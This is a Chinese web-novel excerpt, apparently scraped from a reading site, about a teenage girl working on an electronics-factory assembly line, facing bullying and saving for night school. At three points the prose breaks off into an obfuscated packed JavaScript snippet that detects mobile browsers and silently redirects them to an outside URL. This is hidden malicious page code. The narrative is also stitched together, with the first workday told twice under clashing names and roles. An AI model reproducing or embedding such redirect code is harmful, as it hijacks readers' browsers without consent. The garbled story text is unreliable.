刘组长看了晚星一眼,又看了看李娟,语气严肃地说:“李娟,你作为老员工,带新人是你的职责,必须把她们教会,要是再出问题,我唯你是问。晚星,张琪,你们也抓紧时间学,今天要是完不成产量,就留下来加班,直到做完为止。”说完,他转身就走,留下一脸不甘的张琪和得意的李娟。 李娟冷哼了一声,不情愿地拿起一个零件,对着晚星和张琪比划了两下,语速快得像机关枪:“看好了,先把这个小零件卡进凹槽里,再用手按紧,最后套上外壳,就这么简单,别再问我第二遍。”她演示得又快又潦草,根本没让两人看清楚细节,就立刻低下头继续干活,再也不理她们。 晚星和张琪对视一眼,都从对方眼里看到了无奈。她们只好重新拿起零件,凭着刚才模糊的记忆反复尝试,手指被锋利的塑料棱角划破了好几次,渗出血珠,疼得两人直皱眉,却只能咬着牙继续。汗水顺着额头往下淌,滴在图纸上,晕开了淡淡的墨迹,也模糊了视线。 不知尝试了多少次,晚星终于成功组装好了第一个零件。她小心翼翼地把零件放进传送带,看着它被送到下一道工序,心里涌起一股小小的成就感。她立刻把组装技巧告诉张琪,两人互相鼓励,慢慢找到了节奏,组装速度也渐渐快了起来。 可即便如此,和其他老员工相比,她们的速度还是慢了很多。李娟时不时地抬头瞥她们一眼,嘴里冒出几句嘲讽的话:“真是笨得可以,组装个零件都这么慢,我看你们今天肯定要加班加到半夜。”“早知道自己不是这块料,还来电子厂凑什么热闹,回家种地得了。” 晚星假装没听见,专注地手里的活。她知道,和李娟争辩只会浪费时间,不如把精力都放在工作上,尽快提高速度。张琪却忍不住,想反驳几句,都被晚星拦了下来。晚星小声说:“别理她,我们好好干活,等我们熟练了,她就没话说了。” 中午十二点,车间里的铃声准时响起,是午饭时间。工人们纷纷放下手里的活,拖着疲惫的身体往食堂走。晚星和张琪也停下了手里的活,站起身时才发现,浑身的骨头都像散了架一样疼,手指僵硬得握不住东西,掌心和指尖布满了细小的伤口,有些已经结了血痂。 “我的手好疼啊。”张琪揉着手指,眉头皱成了疙瘩,“这个李娟也太过分了,不仅不教我们,还处处针对我们,真想找她理论一番。” 晚星拿出口袋里的纸巾,轻轻擦了擦手上的污渍,低声说:“算了,现在不是理论的时候。我们先去吃饭,补充点体力,下午还要继续干活呢。等我们熟悉了工作,她想针对也没机会了。”她的心里也很委屈,可她知道,在这个陌生的地方,她们没有靠山,只能靠自己忍下来。 两人跟着人流往食堂走,食堂里弥漫着饭菜的香味,却不是什么美味佳肴——米饭有些发黄发硬,菜是清炒青菜和几块零星的肥肉,油星子少得可怜,难以下咽。可两人实在太饿了,还是端着餐盘找了个角落坐下,大口大口地吃了起来。 刚吃了几口,李娟就带着两个女工走了过来,故意坐在她们对面,手里的筷子敲着餐盘,发出刺耳的声音。“哟,新来的,这食堂的饭菜还吃得惯吗?我看你们还是早点适应吧,以后天天都吃这个。”李娟夹了一筷子青菜,语气里满是讥讽,“不像我,我哥在城里打工,每个月都给我寄钱,我想吃什么就吃什么,可比在这里吃这些猪食强多了。” 她身边的女工也跟着附和:“就是啊,李娟姐可比我们强多了,以后我们还要靠李娟姐多照顾呢。”“有些人啊,天生就是吃苦的命,一辈子都别想过上好日子。” 这些话像针一样扎进晚星和张琪的心里。张琪气得放下筷子,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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得到刘组长的肯定,晚星和张琪心里都松了一口气,干劲也更足了。她们加快了手上的动作,直到夕阳透过车间的窗户照进来,把两人的影子拉得很长,终于完成了当天的产量。 当车间里的下班铃声响起时,晚星和张琪几乎是瘫坐在椅子上,浑身酸痛得动弹不得。她们互相搀扶着站起身,收拾好自己的东西,慢慢走出车间。晚风轻轻吹过来,带着一丝凉意,驱散了些许燥热和疲惫,车间里的机器轰鸣声渐渐远去,耳边终于恢复了宁静。 “终于下班了,我感觉我的手都不是自己的了。”张琪揉着僵硬的手指,脸上露出疲惫的笑容,“还好我们完成了产量,不用加班了。” 晚星也笑了笑,低头看着自己布满伤口的手,心里却很踏实。虽然今天受了不少委屈,吃了很多苦,但她还是坚持了下来,还学会了组装技巧,这就是最大的收获。她摸了摸贴身的衣袋,初中毕业证还安安稳稳地躺在那里,像是在提醒她,这些辛苦都是值得的,只要不放弃,就一定能看到希望。 两人慢慢走回宿舍,宿舍里的工友已经回来了,正在忙着洗漱。李娟看到她们进来,冷哼了一声,故意把自己的行李箱往中间挪了挪,挡住了她们的路。晚星和张琪没理她,绕开行李箱走到自己的床位前,拿出换洗衣物就去洗漱。 洗漱完回到宿舍,两人躺在床上,看着天花板,都没有说话。宿舍里很安静,只有其他工友轻微的呼吸声。过了一会儿,张琪轻声说:“晚星,以后我们每天都要这么累吗?我有点怕了。” 晚星侧过头,看着张琪疲惫的脸,伸手握住她的手,语气坚定:“会好起来的。我们现在只是刚开始,等我们熟练了,工作就不会这么累了。等我们攒够了钱,就去报夜校,等我们考上了大学,就再也不用在流水线上干活了,再也不用受别人的气了。” 张琪看着晚星明亮的眼神,心里的恐惧渐渐消散,用力点了点头:“嗯,会好起来的。我们一起努力,一起考大学,一起改变命运。” 晚星笑了笑,重新躺好,闭上眼睛。虽然今天遭遇了李娟的刁难,工作也格外辛苦,但她的心里却充满了力量。她知道,未来的路还很长,还会遇到更多的困难和挫折,但只要有张琪在身边,只要她不放弃自己的梦想,就一定能一步步走出困境,朝着自己想要的生活前进。 窗外的月光透过窗户照进来,洒在地上,泛起淡淡的光晕。晚星在心里暗暗下定决心,明天一定要更加努力,尽快熟练工作,争取早日攒够钱,去上夜校。她要像野草一样,在贫瘠的土地上顽强生长,用自己的努力,挣脱命运的枷锁,照亮属于自己的逆袭之路。 电子厂的第一个工作日,就在疲惫与坚持中结束了。而晚星的打工生涯,也在这场充满刁难与挑战的开端里,正式步入了正轨,她的逆袭之路,也在日复一日的坚持中,慢慢铺展开来。 3. 第 3 章 2013年的初秋,青南市的热浪仍未褪尽,城郊工业园区的铁皮厂房被秋阳烤得发烫,蒸腾起的热气混着刺鼻的机油味,裹着永不停歇的机器轰鸣声,在空气里织成一张密不透风的网。林晚星攥着那张被手心汗浸湿的皱巴巴入职单,跟着穿蓝色工服、留寸头的中年男人走进“恒鑫电子厂”的组装车间,帆布鞋底碾过冰凉的水泥地,每一步都透着难以掩饰的局促与不安。 男人是车间一组组长刘建国,脸上刻着常年与流水线为伴的疲惫纹路,说话带着南方口音的干脆利落:“林晚星是吧?同乡介绍来的,知道你才十六,按规矩先做临时工,干得稳妥了再转正式。”他抬手指向前方飞速运转的流水线,金属部件碰撞的脆响格外刺耳,“咱们组管手机听筒组装,既要快,更要稳——错一个零件,整条线都得停。扣工资是小事,耽误了货期,你一个小姑娘可担不起。” 晚星攥紧入职单,用力点头,把刘组长的话一字不落地刻在心里。她扎着简单的马尾,额前碎发被汗水黏在光洁的额头上,身上洗得发白的碎花衬衫,在一片统一的蓝色工服里显得格格不入。三天前,老家的急电打到同乡家,父亲上山砍柴摔断了腿,手术费要好几万,弟弟还在上小学,母亲在电话那头哭得声音发颤。刚读完高一的她,连夜打包了简单行李,揣着母亲东拼西凑的两百块钱,跟着同乡挤了十几个小时的绿皮火车,一头扎进这座陌生又冰冷的城市。 “张桂兰,过来带新人。”刘组长朝流水线中段喊了一声,一个微胖的女人停下手里的活,慢悠悠地转过身,拖沓着脚步走过来。她约莫四十岁,眼角堆着厚重的横肉,眼神像探照灯似的扫过晚星,带着毫不掩饰的审视与轻蔑:“又是个农村来的小丫头?细皮嫩肉的,怕是连三天都熬不过,还来添乱。” 晚星连忙低下头,声音细若蚊蚋:“张姐好。”张桂兰嗤笑一声,伸手拽着她的胳膊,把人拉到流水线旁的空位上,指着面前散落的细小零件,语气里满是不耐烦:“看好了,这是听筒外壳,这是振膜,这是焊点。先把振膜装进外壳,对准卡槽扣紧,再递去下一道工序,一秒钟一个都算慢的。”她的手指翻飞如残影,动作熟练得令人眼花缭乱。晚星刚试探着伸出手,想摸一摸零件,就被张桂兰一把拍开,力道重得让她指尖发麻:“别急着碰!弄坏一个零件扣五块,你一天工资才八十,赔得起几次?” 流水线从不会为新人停下脚步。随着机器的嗡鸣加剧,一个个空外壳顺着传送带源源不断地送过来,张桂兰手脚麻利地操作着,零件在她手里仿佛有了生命。晚星站在一旁,手心沁满冷汗,紧张得浑身僵硬。直到刘组长巡线过来,皱着眉催促“赶紧上手练”,她才咬了咬牙,鼓起勇气拿起零件,可指尖刚触到振膜,就因过度紧张微微发颤,零件“啪嗒”一声掉在地上。 “你干什么!”张桂兰立刻拔高了声音,尖锐的嗓音刺破机器的轰鸣,工位附近的工人纷纷投来目光,有好奇,有漠然,却没人上前。“毛手毛脚的,这零件沾了灰就废了,你赔得起吗?”她弯腰捡起零件,狠狠扔进旁边的废料箱,发出“咚”的一声闷响,语气刻薄如刀:“我就说你们这些学生娃,娇生惯养惯了,根本不是干活的料,不如早点卷铺盖回乡下种地,别在这耽误事。” 晚星的脸瞬间涨得通红,又飞快褪去血色,指尖死死掐着衣角,连指节都泛了白。她张了张嘴,想说自己不是故意的,想说自己能做好,可话到嘴边,只剩一句哽咽的“对不起,张姐,我会小心的”。眼泪在眼眶里打转,她硬生生憋了回去——她不能哭,更不能走。父亲还在医院等着钱救命,弟弟的学费还没着落,这冰冷的流水线,是她眼下唯一的生路。 “行了,张姐,新人都有适应期,你多耐心带带。”刘组长皱着眉打断她,又转向晚星,语气稍缓,“集中注意力,跟不上就先站旁边看,等下我给你调个慢些的工位。”说完便转身去检查其他工序,张桂兰撇了撇嘴,没再继续骂,却故意把零件往筐里扔得砰砰作响,每一声都透着不满,像是在发泄情绪。 晚星站在原地,望着飞速流转的流水线,心脏突突直跳。她深吸一口气,压下心头的酸涩与慌乱,重新拿起零件,笨拙地学着张桂兰的样子对准卡槽。一开始依旧频频出错,要么振膜装反,要么外壳扣不紧,张桂兰时不时冷不丁冒出一句“笨死了”“浪费时间”,像针一样扎在她心上。周围的工人大多事不关己地埋头干活,只有斜对面一个穿粉色工服的女孩,趁着张桂兰不注意,悄悄朝她递了个鼓励的眼神,眼底藏着温柔的善意。 那女孩看着和晚星年纪相仿,眉眼清秀,动作却十分熟练,手里的零件流转得又快又稳。趁张桂兰转身去喝水的间隙,她飞快地从口袋里掏出一个小本子,塞到晚星手里,压低声音叮嘱:“别慌,先把步骤记下来,振膜有字面朝上,卡槽要对齐边缘,我刚开始也老出错。”晚星接过本子,借着车间的灯光一看,上面用铅笔写着简洁的步骤,还有几个画得潦草却直观的示意图,字里行间都是暖意。她抬头看向女孩,小声说了句“谢谢”,心里的紧绷感竟松了几分。 “我叫张琪,来了快一年了,也是农村的。”张琪语速飞快,目光时不时瞟向张桂兰的方向,“张姐就这样,对新人苛刻,等你熟练了就好了。这里干活是累,但只要肯熬,一个月能攒下不少钱,你一定要坚持住。”话音刚落,张桂兰就端着水杯回来了,张琪立刻低下头,专心投入到工作中,流水线又恢复了只有机器轰鸣的沉闷氛围。 握着张琪给的小本子,晚星像是握住了一束微光,心里有了底气。她把步骤在心里默念几遍,再动手操作,出错的次数渐渐少了。中午下班铃响,车间里的工人涌进食堂,食堂的饭菜简单粗糙,一荤一素一汤,米饭管够。晚星端着餐盘,在拥挤的人群里看到张琪在角落招手,便快步走了过去。 “快吃吧,下午还要干满八个小时,不吃饱没力气扛。”张琪说着,就把自己餐盘里为数不多的几块肉夹到晚星碗里,“我看你上午没怎么吃东西,是不是被张姐说懵了?”晚星点了点头,扒了一口米饭,味道清淡还带着几分油腻,可她还是大口吞咽着——她清楚,只有吃饱了,才能扛住下午高强度的工作,才能守住这份生计。 “你怎么这么小就出来打工了?”张琪好奇地问,眼神里满是心疼,“看你样子,应该还在上学吧。”晚星夹菜的动作顿了顿,眼眶又泛起热意,她低下头,声音哽咽地说起家里的变故:“我爸摔断了腿,家里没钱治病,我弟还在上小学,我只能出来赚钱。” 张琪的眼神软了下来,轻轻拍了拍她的肩膀,语气带着共情:“我懂这种难处,我初中毕业就出来了,也是为了供家里弟弟读书。不过你别灰心,这里虽然苦,但只要肯干,一个月能攒下两千多。等你爸好点了,要是还想读书,也不是没机会。” “读书”两个字,像一根温柔的针,猝不及防扎进晚星的心里。她想起老家书桌上整齐摆放的课本,想起班主任惋惜的眼神,想起自己偷偷藏在抽屉里的大学梦——那曾是她支撑着熬过无数苦读日夜的光。出来打工的这几天,她几乎不敢触碰这些回忆,怕自己一软弱,就再也撑不下去。“还能读书吗?”她抬头看向张琪,眼里满是迷茫与渴望。 “当然能。”张琪重重点头,语气肯定,“我听说厂里有个老员工,一边打工一边自考,硬生生用两年时间拿到了专科毕业证,现在都转去办公室做文员了,不用再熬流水线。就是累点,得挤下班和周末的时间学。”晚星愣了愣,心里像是被点亮了一盏灯,微弱却坚定,驱散了些许迷茫。她默默把“自考”两个字刻在心里,扒完了餐盘里的最后一口饭。 下午的工作依旧紧张得让人喘不过气,晚星渐渐能跟上流水线的速度,指尖被细小的零件磨得发红发烫,肩膀也因长时间保持一个姿势而酸痛难忍,可她不再像上午那样慌乱无措。张桂兰虽然依旧没给好脸色,却也没再刻意刁难,只是偶尔见她动作慢了,会冷声道“快点”“注意质量”,语气里少了几分刻薄。 傍晚下班时,天已经完全黑了。工厂的宿舍是一排排简陋的平房,每间住八个人,上下铺挤得满满当当,却被打扫得十分整洁。晚星和张琪分到了同一间宿舍,她把简单的行李铺在靠门的下铺,行李包里只有几件换洗衣物,还有一本被仔细裹好、藏在最下面的高一语文课本——那是她从老家带来的唯一念想。 等宿舍里的人都洗漱完毕,熄灯铃响起前,晚星悄悄拿出那本课本,借着窗外漏进来的微弱路灯光,一页页地翻着。课本的边角早已磨损卷翘,上面写满了密密麻麻的笔记,每一笔都是她曾经追逐梦想的痕迹。张琪躺在旁边的床上,瞥见她手里的课本,没有多问,只是轻轻递过一个手电筒:“别借着路灯看,伤眼睛。” 晚星接过手电筒,暖黄的光落在书页上,也落在她的心上。她翻到《劝学》那一页,“锲而不舍,金石可镂”八个字格外醒目,压抑了一整天的情绪终于决堤,眼泪无声地掉在书页上,晕开小小的墨痕。她从来都不甘于在流水线上耗一辈子,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233572|197633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想救父亲,想供弟弟上学,更想圆自己未曾完成的读书梦。 “张琪,你说的那个自考,到底怎么报名啊?”晚星凑过去,声音带着未干的鼻音。张琪借着暖黄的灯光,耐心地跟她讲解:“要先买对应专业的教材,然后去当地自考办报名,一年考两次,一次最多能报四门。我那个老乡就是每天下班学两个小时,周末不休息,硬生生熬了两年才考完。” 晚星认真地听着,把每一个细节都记在心里。她摸了摸口袋里仅剩的几十块钱,心里悄悄盘算:先好好干活,攒够钱给家里寄回去,等父亲的病情稳定了,再慢慢攒钱买教材、报自考。哪怕这条路布满荆棘,哪怕要比别人多付出几倍的努力,她也想试一试——这是她能看到的,唯一能摆脱现状的路。 就在这时,宿舍门被轻轻推开,刘组长走了进来,手里拿着一个登记簿和一份合同:“林晚星,今天的产量和质量都还行,明天就固定在这个工位了。这是临时工合同,你看看条款,没问题就签了。”晚星接过合同,指尖有些颤抖,上面的条款很简单,工资按月结算,包吃包住,待遇不算好,却足够让她在这座城市立足,足够支撑起家里的希望。 她拿起笔,一笔一划地签下“林晚星”三个字,字迹虽有些稚嫩,却写得格外用力,像是在对自己许下承诺。刘组长瞥见她放在枕边的课本,愣了一下,随即语气柔和了几分:“年轻人有想法是好事,干活的时候专心干,想读书也别耽误。厂里有个小图书馆,虽然书不多,你要是想看,可以去借。” 晚星没想到刘组长会说出这样的话,眼里满是惊讶与感激,连忙抬头道谢:“谢谢刘组长!”刘组长摆了摆手,转身走出宿舍,留下一句叮嘱:“好好干,别让家里失望,更别让自己失望。” 宿舍里又恢复了安静,晚星把合同小心翼翼地收好,重新拿起课本,手电筒的暖光映在她的脸上,眼底的迷茫早已褪去,取而代之的是坚定的光芒。张琪笑着凑过来:“你看,慢慢都会好起来的。”晚星点了点头,心里清楚,这条路注定不会平坦,流水线的工作会磨耗精力,生活的压力会让人疲惫,但只要心里的那盏灯不熄灭,就总有奔赴希望的力量。 窗外的月光透过玻璃洒进来,落在泛黄的课本上,也落在晚星的脸上。车间里的机器声渐渐停歇,整个工业园区陷入沉睡,只有宿舍里的手电筒还亮着一束微弱却执着的光。晚星把课本翻到最后一页,用铅笔轻轻写下一行小字:“林晚星,别放弃。” 她不知道自己要在这条流水线上熬多久,也不知道自考的路要走多远,更不知道未来会遇到多少难以预料的困难。但她清楚,从签下合同的这一刻起,她就不再是那个只会躲在父母身后的小女孩了。她要扛起家里的重担,也要为自己的未来奋力一搏,哪怕前路漫漫,也要咬牙坚持。 深夜,晚星把课本和手电筒收好,躺在床上闭上眼睛。肩膀的酸痛还在隐隐作祟,指尖的磨损也传来阵阵痛感,可她的心里却异常踏实。她想起父亲温柔的笑容,想起弟弟期盼的眼神,想起张琪递来的小本子,想起刘组长那句“别让自己失望”,嘴角慢慢扬起一抹淡淡的笑意。 青南市的夜晚带着几分凉意,却吹不散晚星心里的火焰。流水线的微光,课本的墨香,还有那份不甘平庸的执念,都在指引着她,一步步走出迷茫,走向未知却充满希望的前路。她知道,这只是一切的开始,未来还有无数个日夜要奋斗,但她已经做好了准备。 第二天清晨,刺耳的闹钟声划破寂静,晚星立刻从床上爬起来,快速洗漱完毕,换上厂里发的蓝色工服。镜子里的女孩,眉眼间还带着几分稚气,却多了几分不属于这个年纪的坚韧与沉稳,眼神明亮而坚定。她和张琪并肩走进车间,流水线早已重新运转,机器轰鸣依旧嘈杂,可晚星的心里,却比昨天多了一份底气与笃定。 张桂兰已经在工位上忙碌了,看到晚星过来,没有像昨天那样刻薄指责,只是抓起一筐零件,扔到她面前,语气平淡:“快点干活,今天的产量要比昨天高十个。”晚星点了点头,拿起零件,动作比昨天熟练了许多,指尖虽仍有痛感,却不再慌乱。阳光透过厂房的窗户照进来,落在飞速流转的流水线上,也落在晚星的手上,泛着细碎而温暖的微光。 她知道,属于她的打工生涯,属于她的追梦之路,才刚刚正式启程。前方或许荆棘丛生,或许风雨兼程,但她会带着心里的那团火,带着身边人的温暖与善意,一步步坚定地走下去,直到拨开迷雾,看到属于自己的那片星光。 4. 第 4 章 入厂第三周,恒鑫电子厂的赶货期进入白热化阶段。车间里的机器轰鸣从清晨持续到深夜,惨白的灯光照着一张张疲惫的脸,流水线旁的工人连抬手擦汗的功夫都要掐着点,晚星指尖的薄茧又厚了一层,捏起振膜时虽稳,却也泛着隐隐的酸痛。 这天午休铃响得格外拖沓,晚星跟着人流往食堂走,脚步匆匆——她想趁吃饭前挤出十分钟,去厂区门口的小卖部给家里打个电话,问问父亲的恢复情况。路过办公楼旁的公告栏时,一张粉白色的启事被风掀起一角,上面“成人夜校招生”几个黑体字,猝不及防撞进她眼里。 晚星的脚步猛地顿住,下意识拨开围着看公告的两个女工,挤到最前面。启事是青南市城郊成人夜校贴的,招生对象涵盖在职人员,开设的专业里恰好有“汉语言文学”,标注着“周末面授+周内晚课,名师授课,助力自考通关”。下面还列着详细条款:学费每月三百,按季度缴纳;周内上课时间为周一、三、五晚上七点到九点,周末上午半天。 她的心脏怦怦直跳,指尖忍不住伸手去碰那张启事,指腹抚过“助力自考通关”几个字,眼里瞬间亮了起来。这些天她抱着刘组长给的旧教材摸索,好多知识点看得似懂非懂,没人讲解、没人答疑,常常对着一道练习题卡大半天。夜校有老师教,还有同学一起学,这不比自己瞎琢磨强得多? 可这份心动没持续多久,就被现实浇了一盆冷水。每月三百的学费,对现在的她来说绝非小数目——她每月工资两千二,要给家里寄一千五,留五百当生活费,剩下两百攒着买教材,根本挤不出学费。更棘手的是时间,周内晚上七点到九点的课,正好和厂里的加班时间冲突,赶货期的加班本就少不了,就算货期过了,车间也常要轮班,怎么可能每周腾出三个晚上去上课? “还看呢?这夜校都是骗钱的,咱们这流水线上的人,哪有那闲工夫和闲钱读书。”旁边一个女工嗤笑着说,“我去年也想报,后来一算学费,再想想天天加班,干脆算了,老老实实干活赚钱才实在。” 晚星没说话,只是把启事上的报名电话和地址抄在手心,直到手心被笔尖戳得发疼才停下。她看着那几个数字,心里像被什么东西揪着——一边是渴望系统学习、快速通关自考的执念,一边是学费不足、时间冲突的现实,犹豫像藤蔓一样缠绕上来,让她进退两难。 食堂里人声鼎沸,晚星端着餐盘找到张琪时,还在出神。张琪把一块红烧肉夹给她,戳了戳她的胳膊:“发什么呆呢?刚才喊你好几声都没听见,是不是累傻了?” 晚星回过神,看着餐盘里的肉,却没什么胃口。她左右看了看,压低声音,把刚才看到夜校启事的事说了出来,指尖还在无意识地摩挲着手心的电话号码:“张琪,我想报那个夜校,有老师教,肯定比我自己啃旧教材强。可……学费要三百一个月,还得每周去三次,和加班冲突得厉害。” 张琪愣了一下,随即皱起眉:“夜校?花钱的那种?不是说好了自考吗?自考不用交学费,就买几本教材就行,何必花那冤枉钱?再说咱们天天加班,哪有时间去上课?你这想法也太不切实际了。” “可自考太难了。”晚星的声音带着几分委屈,又透着倔强,“我这几天看刘组长给的旧教材,好多知识点都不懂,连练习题的答案都摸不着头脑。夜校有老师讲,还有同学一起讨论,肯定能学得更快。我想早点拿到毕业证,早点摆脱流水线。” “摆脱流水线也不是急这一时半会儿的事啊。”张琪叹了口气,把自己餐盘里的青菜拨给她,“三百块一个月,你一个月工资才两千二,寄回家一千五,剩下的刚够吃饭,哪还有钱交学费?就算你攒两个月,也只够一个季度的,后面还得续交,这就是个无底洞。” 晚星低下头,扒了一口米饭,味道瞬间变得寡淡。张琪说的道理她都懂,可一想到夜校的课堂,想到能有人手把手教她,她就忍不住心动。“我可以再省省,早饭不吃馒头,就喝白粥;周末不休息,去外面找零活干,总能凑够学费。”她小声说,像是在说服张琪,更像是在说服自己。 “找零活?你疯了?”张琪提高了声音,又赶紧压低,“咱们平时加班到十一点,周末好不容易能睡个懒觉,你再去打零工,身体扛得住吗?再说厂区附近哪有零活给你干,都是些装卸货的重活,你一个小姑娘也干不了。” “那我怎么办?”晚星抬起头,眼里满是迷茫,“我不想一辈子在流水线上装零件,我想读书,想考大学,可我自己学根本学不会。夜校是我现在唯一的机会了。” 看着晚星泛红的眼眶,张琪的语气软了下来。她沉默了一会儿,伸手拍了拍晚星的肩膀:“行了,我不是不让你去,就是觉得你太急了。学费的事我帮你凑点,我这个月工资攒了两百块,先给你用,剩下的咱们一起想办法。至于时间,我帮你顶工位,你周一三五晚上去上课,我帮你多装几个零件,应付张姐和刘组长那边。” 晚星愣住了,抬头看向张琪,眼里满是惊讶:“真的吗?你不用给家里寄钱了吗?” “家里我再缓缓,我弟这个月的生活费我让我妈先找邻居借点,等发了下个月工资再还。”张琪笑了笑,语气带着几分洒脱,“谁让咱们是姐妹呢?你想读书,我就支持你。不过你可得答应我,上课认真听,别白瞎了这学费和时间。” 晚星用力点头,眼泪差点掉下来。她握着筷子的手微微颤抖,心里又暖又酸——在这座陌生的城市里,张琪的支持,就像黑暗里的一束光,照亮了她迷茫的前路。“谢谢你,张琪,等我以后赚钱了,一定加倍还你。” “跟我客气什么。”张琪夹了一筷子肉塞进她嘴里,“快吃吧,下午还要加班,别想太多,船到桥头自然直。对了,你得先去夜校问问,能不能先交一个月的学费,咱们先试试,要是实在协调不好时间,再做打算。” 晚星点点头,心里的犹豫少了几分,多了些底气。她快速扒完碗里的饭,心里盘算着下班后就去夜校咨询,顺便问问报名需要什么手续。 下午的工作依旧紧张,赶货期的压力像一块石头压在每个人心上。晚星因为心里装着夜校的事,干活时有些心神不宁,好几次差点把振膜装反。张桂兰在一旁看得真切,走过来狠狠敲了敲她的操作台:“发什么呆!想偷懒是不是?这批货赶不完,你这个月工资别想要了!” 晚星回过神,连忙低下头道歉:“对不起张姐,我马上专心干活。” “别跟我来这套。”张桂兰双手抱胸,语气刻薄,“我看你就是心不在焉,仗着刘组长护着你,就以为能为所欲为了?我告诉你,在这条流水线上,我说了算,再出错,我照样扣你工资!” 晚星没敢顶嘴,只是攥紧了手里的镊子,加快了干活的速度。她知道张桂兰一直看她不顺眼,现在自己分心出错,正好给了她刁难的理由。一旁的张琪看出晚星的窘迫,悄悄把自己筐里装好的几个零件递了过去,朝她使了个眼色,示意她别理张桂兰。 张桂兰把这一切看在眼里,却没发作——她心里清楚,赶货期要紧,真要是把两个小姑娘逼急了,影响了产量,倒霉的还是自己。她嗤了一声,转身走向自己的工位,嘴里还在嘟囔:“一个个都不省心。” 好不容易熬到下班,晚星跟张琪打了招呼,就急匆匆地往夜校赶。夜校离厂区不算太远,步行二十分钟就能到,是一栋老旧的教学楼,门口挂着“青南市城郊成人夜校”的牌子,里面亮着暖黄的灯光,隐约能听到老师讲课的声音。 晚星站在门口,深吸了一口气,才推门走进去。报名处的老师是个中年女人,态度温和,看到她进来,笑着问:“小姑娘,是来报名的吗?” “老师,我想咨询一下汉语言文学专业的报名事宜。”晚星有些局促地说,“我是恒鑫电子厂的工人,想问一下,学费能不能先交一个月的?还有,我晚上要加班,能不能偶尔请假?” 老师愣了一下,随即点了点头:“学费可以按月交,不过第一个月要多交五十块报名费。请假没问题,不过每节课都有笔记,你可以找同学借了补,我们也会把课件发给你。就是你们工厂加班这么晚,你能赶得上上课吗?我们七点就开始上课了。” 晚星心里一沉——厂里加班一般从六点开始,要加到九点,根本赶不上七点的课。“老师,我能不能跟厂里协调一下,周一三五晚上不加班,我把产量补到其他时间?” “那就要看你们厂里能不能通融了。”老师笑了笑,递给她一本招生简章,“你先回去问问厂里,要是能协调好时间,就带着身份证来报名。我们下周一就开课,你还有一周的时间考虑。” 晚星接过招生简章,连连道谢。走出夜校时,天已经黑透了,晚风带着凉意,吹得她心里有些发凉。协调加班时间,谈何容易?刘组长虽然对她关照,可赶货期刚过,后面说不定还有别的活,他未必会同意。 回到厂区时,大部分工人都已经回宿舍了。晚星路过刘组长的办公室,看到里面还亮着灯,犹豫了一下,还是走了过去,轻轻敲了敲门。 “进。”刘组长的声音传来。晚星推开门走进去,看到刘组长正在整理生产报表,桌上的茶水已经凉透了。“刘组长,您还没下班啊?” “是你啊,晚星。怎么还没回宿舍?”刘组长抬起头,看到她手里的招生简章,愣了一下,“你想报夜校?” 晚星点了点头,把心里的想法说了出来,语气带着几分忐忑:“刘组长,我想报汉语言文学专业,助力自考。就是想跟您申请一下,周一三五晚上不加班,我把产量补到周二周四和周末,您看行吗?” 刘组长沉默了一会儿,手指轻轻敲击着桌面。晚星的心提到了嗓子眼,紧张地看着他——这是她唯一的机会了,要是刘组长不同意,她就只能放弃夜校了。 “你这孩子,倒是上进。”刘组长终于开口,语气带着几分赞许,“赶货期刚过,后面的活不算太紧,我可以帮你协调。周一三五晚上你不用加班,产量补到其他时间,只要不耽误整体进度就行。” 晚星的眼睛一下子亮了起来,激动地说:“谢谢您,刘组长!我一定好好干活,绝不耽误产量!” “行了,别高兴太早。”刘组长笑了笑,“我帮你协调可以,不过你得答应我,不能因为上夜校就耽误工作,也不能落下学习。那本旧教材你看得怎么样了?有不懂的地方可以问我,我以前也读过几年书。” “我……我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然还有七十块学费没凑够,虽然未来还有无数困难,可她不再像之前那样犹豫迷茫了。夜校的机会就在眼前,有张琪的支持,有刘组长的关照,她只要再努力一点,再坚持一点,就能抓住这根改变命运的稻草。 第二天早上,晚星早早地就起床了。她去食堂帮阿姨洗碗,阿姨听说她要凑钱上夜校,很是感动,说愿意每天让她来帮忙,一个月给她一百块工钱。晚星心里一暖,连忙道谢——这样一来,学费的问题就解决了。 走进车间时,张桂兰已经在工位上了。看到晚星,她愣了一下,想说些什么,最终却只是把一筐好的振膜放在她工位上,没像平时那样刁难她。晚星愣了愣,看向张桂兰,对方却已经转过身,埋头干活,只是嘴角的线条,似乎比平时柔和了些。 张琪走过来,朝她比了个“OK”的手势,小声说:“我问老乡借到七十块了,学费凑够了。”晚星笑了笑,眼里满是感激。 流水线开始运转,机器的轰鸣声依旧嘈杂,可晚星的心里却格外平静。她知道,从下周一说起,她的生活将变得忙碌而充实——白天在流水线上装零件,晚上去夜校上课,周末还要补产量、学知识点。这条路注定不会容易,可她不再害怕了。 午休时,晚星拿着凑够的学费,再次来到夜校,报了名。老师给她发了课本和笔记本,摸着崭新的课本,晚星的心里满是憧憬。她仿佛已经看到自己坐在夜校的课堂里,听老师讲课,和同学讨论知识点,一步步朝着自考通关、摆脱流水线的目标靠近。 回到厂里,晚星把报名的事告诉了刘组长。刘组长笑了笑,拍了拍她的肩膀:“好好干,别让我失望。有不懂的地方就来问我,我一定帮你。” 